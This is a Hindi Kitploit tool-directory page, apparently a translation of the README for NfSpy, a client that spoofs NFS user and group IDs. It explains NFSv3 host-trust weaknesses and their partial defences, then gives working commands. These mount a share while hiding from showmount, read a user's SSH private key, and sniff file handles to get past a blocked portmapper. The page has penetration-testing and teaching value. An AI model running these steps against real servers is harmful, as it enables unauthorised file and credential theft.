Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
NfSpy — आईडी-स्पूफिंग NFS क्लाइंट | Kitploit
उपकरण/GitHubGitHub/bonsaiviking/nfspy
विशेषाधिकार वृद्धिशोषणजानकारी एकत्र करनानेटवर्क सुरक्षापेनिट्रेशन टेस्टिंगप्रमाणीकरणरेड टीमिंग
GitHubbonsaiviking/nfspy

NfSpy

आईडी-स्पूफिंग NFS क्लाइंट

रिपॉजिटरी देखें
298566 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

NfSpy - एक ID-स्पूफिंग NFS क्लाइंट

================================= Daniel Miller द्वारा

NfSpy एक Python लाइब्रेरी है जो NFS शेयर को माउंट करते समय NFS क्रेडेंशियल्स की फ़र्जीकरण (falsification) को स्वचालित करती है। इसमें दो क्लाइंट प्रोग्राम शामिल हैं:

  • nfspy Linux में NFS शेयर को माउंट करने के लिए Filesystem in Userspace (FUSE) लाइब्रेरी का उपयोग करता है। यह NFS एक्सपोर्ट का पता लगाने के लिए grep और find जैसे किसी भी सामान्य फ़ाइल-खोज और हेरफेर प्रोग्राम का उपयोग करने की अनुमति देता है।

  • nfspysh NFS एक्सपोर्ट्स का पता लगाने के लिए एक ftp-जैसा इंटरैक्टिव शेल है। इसे FUSE लाइब्रेरी की आवश्यकता नहीं होती, इसलिए यह गैर-Linux प्लेटफ़ॉर्म पर भी चल सकता है।

शोषित भेद्यता

NFS का संस्करण 4 से पहले का प्रोटोकॉल प्रमाणीकरण के लिए होस्ट विश्वास संबंधों पर निर्भर करता है। NFS सर्वर किसी भी क्लाइंट मशीन पर भरोसा करता है कि वह उपयोगकर्ताओं को प्रमाणित करेगा और साझा फाइलसिस्टम द्वारा उपयोग किए जाने वाले समान यूज़र आईडी (UIDS) निर्दिष्ट करेगा। उदाहरण के लिए, यह NIS, NIS+ और LDAP डोमेन में काम करता है, लेकिन केवल तभी जब आप जानते हैं कि क्लाइंट मशीन से समझौता नहीं हुआ है, या वह अपनी पहचान नहीं बदल रही है। ऐसा इसलिए है क्योंकि NFS प्रोटोकॉल में एकमात्र प्रमाणीकरण UID और GID (ग्रुप ID) का प्रसारण है। NFS की सुरक्षा बढ़ाने के लिए कुछ चीजें की जा सकती हैं, लेकिन उनमें से कई अधूरे समाधान हैं, और यहाँ सूचीबद्ध तीनों के बावजूद भी सुरक्षा उपायों को दरकिनार करना संभव हो सकता है।

Squash root

सर्वर या शेयर ("export" को NFS की भाषा में कहते हैं) को root_squash के रूप में कॉन्फ़िगर किया जा सकता है, जिसका अर्थ है कि UID या GID 0 (रूट) होने का दावा करने वाले किसी भी अनुरोध को सिस्टम में nobody उपयोगकर्ता या उसके समकक्ष की तरह माना जाएगा। यह किसी हमलावर को किसी अन्य UID/GID संयोजन को स्पूफ करने से नहीं रोकता, लेकिन एक्सपोर्ट पर सबसे संवेदनशील जानकारी और कॉन्फ़िग्स की रक्षा करेगा।

nfs_portmon

एक और सेटिंग जिसे सक्षम किया जा सकता है वह है nfs_portmon, जो 513-1024 रेंज के बाहर के स्रोत पोर्ट्स से आने वाले अनुरोधों को अस्वीकार करता है। चूँकि केवल रूट ही (आमतौर पर) इन पोर्ट्स को आवंटित कर सकता है, यह एक भरोसेमंद मशीन पर सामान्य उपयोगकर्ता को अपना स्वयं का NFS क्लाइंट लिखने और उपयोग करने से रोकता है जो UID/GID को फेक करता है। यह एक दुर्भावनापूर्ण होस्ट, su अनुमतियों वाले उपयोगकर्ता, या रूट-स्तर से समझौता किए गए मशीन को ऐसा करने से रोकने के लिए कुछ नहीं करता।

एक्सपोर्ट प्रतिबंध

शेयर/एक्सपोर्ट को नियंत्रित किया जा सकता है ताकि केवल कुछ मशीनें ही उन्हें एक्सेस कर सकें। ये एक्सेस कंट्रोल सूचियाँ (Access Control Lists) निम्न से मिलकर बन सकती हैं:

  • IP पते (जैसे 192.168.1.34)
  • IP उपसर्ग (जैसे @192.168.1)
  • होस्टनाम (जैसे server1.mydom.nis)
  • होस्ट सूचियाँ (जैसे @trusted_hosts)
  • "everyone"

सबसे अच्छा कॉन्फ़िगरेशन होस्ट सूची का उपयोग करना होगा, क्योंकि nfs डेमन से पूछताछ करने पर केवल सूची का नाम मिलेगा, यह नहीं कि उसमें कौन से पते या नाम शामिल हैं। इसके बाद IP पते या होस्टनाम आते हैं, क्योंकि उन्हें स्पूफ करना अधिक कठिन होता है। IP उपसर्ग और "everyone" असुरक्षा के संकेत हैं, क्योंकि कौन से पते कनेक्ट हो सकते हैं, इस पर बहुत कम या कोई प्रतिबंध नहीं होता।

NfSpy का उपयोग

विकल्पों की सूची देखने के लिए निम्न कमांड चलाएँ:

root@kitploit:~
nfspy --help

उदाहरण

192.168.1.124 पर एक NFS सर्वर है।

root@kitploit:~
$ showmount -e 192.168.1.124
Export list for 192.168.1.124:
/home (everyone)

शेयर को माउंट करें। sudo का उपयोग करने से आप एक विशेषाधिकार प्राप्त पोर्ट से बाइंड कर सकते हैं, और allow_other विकल्प किसी भी उपयोगकर्ता को फाइलसिस्टम का उपयोग करने देता है। यहाँ एक और नया विकल्प "hide" है, जो सर्वर पर शेयर को तुरंत "अनमाउंट" कर देता है, लेकिन उसे मिले फाइलहैंडल को बनाए रखता है। यह showmount -a का उपयोग करने वाले किसी भी व्यक्ति से आपकी उपस्थिति छिपाता है।

root@kitploit:~
$ sudo nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr /mnt

अपनी नई मिली स्वतंत्रता का आनंद लें!

root@kitploit:~
$ cd /mnt
/mnt$ ls -l
drwx------ 74 8888 200 4096 2011-03-03 09:55 smithj
/mnt$ cd smithj
/mnt/smithj$ cat .ssh/id.rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,30AEB543E512CA19
<snip>

अनमाउंट करने के लिए, fusermount का उपयोग करें:

root@kitploit:~
$ sudo fusermount -u /mnt

उन्नत उदाहरण

192.168.1.124 पर एक NFS सर्वर है। Portmap ब्लॉक है, इसलिए आप शेयरों की सूची प्राप्त नहीं कर सकते, लेकिन आप नेटवर्क ट्रैफ़िक स्निफ कर सकते हैं।

root@kitploit:~
$ sudo tshark -n -i eth0 -T fields -e nfs.fhandle
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
01:00:04:00:01:00:22:00:e5:03:d8:9d:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00

^C3 packets captured

अब माउंट डेमन का उपयोग करने से बचने के लिए dirhandle और getroot माउंट विकल्पों का उपयोग करें, और पोर्टमैपर से बचने के लिए nfsport विकल्प का उपयोग करें, और डायरेक्ट्री ट्री को एक्सपोर्ट के रूट तक पार करें।

root@kitploit:~
$ sudo nfspy -o rw,server=192.168.1.124:,nfsport=2049/udp,dirhandle=01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00,getroot mnt

ध्यान दें कि हमने माउंट करने के लिए कोई पथ नहीं दिया, क्योंकि हम केवल nfs फाइलहैंडल जानते हैं। इसके काम करने के लिए, हैंडल एक डायरेक्ट्री का होना चाहिए, फ़ाइल का नहीं, और आपको जल्दी काम करना होगा अन्यथा हैंडल स्टेल (stale) हो जाएगा।

tshark प्रोग्राम Wireshark परियोजना का हिस्सा है। सामान्य tcpdump प्रोग्राम भी -u विकल्प के साथ NFS फाइलहैंडल्स को डिकोड करने की क्षमता रखता है:

root@kitploit:~
sudo tcpdump -n -i eth1 -u -- port 2049
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
11:16:38.041242 IP 192.168.1.5.3057978128 > 192.168.1.124.2049: 120 getattr fh[2070001:762001:0:7500c611:a04186e6:edccffaa:1a0a608e:a065:500859ff:762001:adebb708]

ये फाइलहैंडल 4-बाइट कोलन-सेपरेटेड होते हैं, इसलिए आपको उन्हें स्वयं शून्य (zeros) से पैड करना होगा; NfSpy केवल कोलन हटा देगा, जो गलत है।

nfspysh का उपयोग

nfspysh nfspy के समान प्रारूप में विकल्पों का वही मूल सेट लेता है, इसलिए उपरोक्त ट्यूटोरियल ठीक काम करना चाहिए। कमांड की सूची "help" कमांड के साथ देखी जा सकती है।

root@kitploit:~
$ sudo PYTHONPATH=. python scripts/nfspysh -o server=127.0.0.1:/home/miller/nfs
[email protected]:/home/miller/nfs:/> ls
/:
040775  1000  1000       4096 2013-04-13 23:20:37 .
040775  1000  1000       4096 2013-04-13 23:20:37 ..
040775  1000  1000       4096 2013-04-11 06:36:48 public
040775  1000  1000       4096 2013-04-13 23:26:40 more
040700     0  1000       4096 2013-04-11 06:39:12 secrets
100666  1000  1000          5 2013-04-13 23:28:02 README.md
120777  1000  1000         21 2013-04-13 13:00:24 nmap -> /usr/local/share/nmap
[email protected]:/home/miller/nfs:/more> help
Known commands:
    cd
    chmod
    chown
    exit
    get
    help
    lcd
    lpwd
    ls
    mkdir
    mv
    put
    pwd
    rm
    rmdir
    umask
[email protected]:/home/miller/nfs:/more> help get
get <filename> [<localname>]

        Retrieve <filename> and save to <localname>. If no <localname> is given,
        defaults to the basename of <filename> in the current local working directory.
[email protected]:/home/miller/nfs:/more> exit
Quitting.

बग्स

  • राइट एक्सेस बीटा है। यह मेरे परीक्षणों में कुछ प्रणालियों पर काम कर चुका है, लेकिन इसे और अधिक परीक्षण की आवश्यकता हो सकती है। इस कारण, NfSpy डिफ़ॉल्ट रूप से ro माउंट करता है। इसे बदलने के लिए rw माउंट विकल्प निर्दिष्ट करें। (nfspysh में रीड-ओनली मोड नहीं है। सावधानी से चलें!)

  • NfSpy मानक lockd और statd सेवाओं के साथ काम नहीं करता, जिससे फाइलों में लिखने में समस्या हो सकती है। हालाँकि, रीड-ओनली के लिए, और अधिकांश दुर्भावनापूर्ण उपयोगों के लिए जिनके लिए इसे बनाया गया था, यह समस्या नहीं होनी चाहिए।

  • NfSpy इस समय केवल NFSv3 का समर्थन करता है। भविष्य के संस्करण बुद्धिमानी से NFS संस्करण चुन सकते हैं।

टूल डाउनलोड करें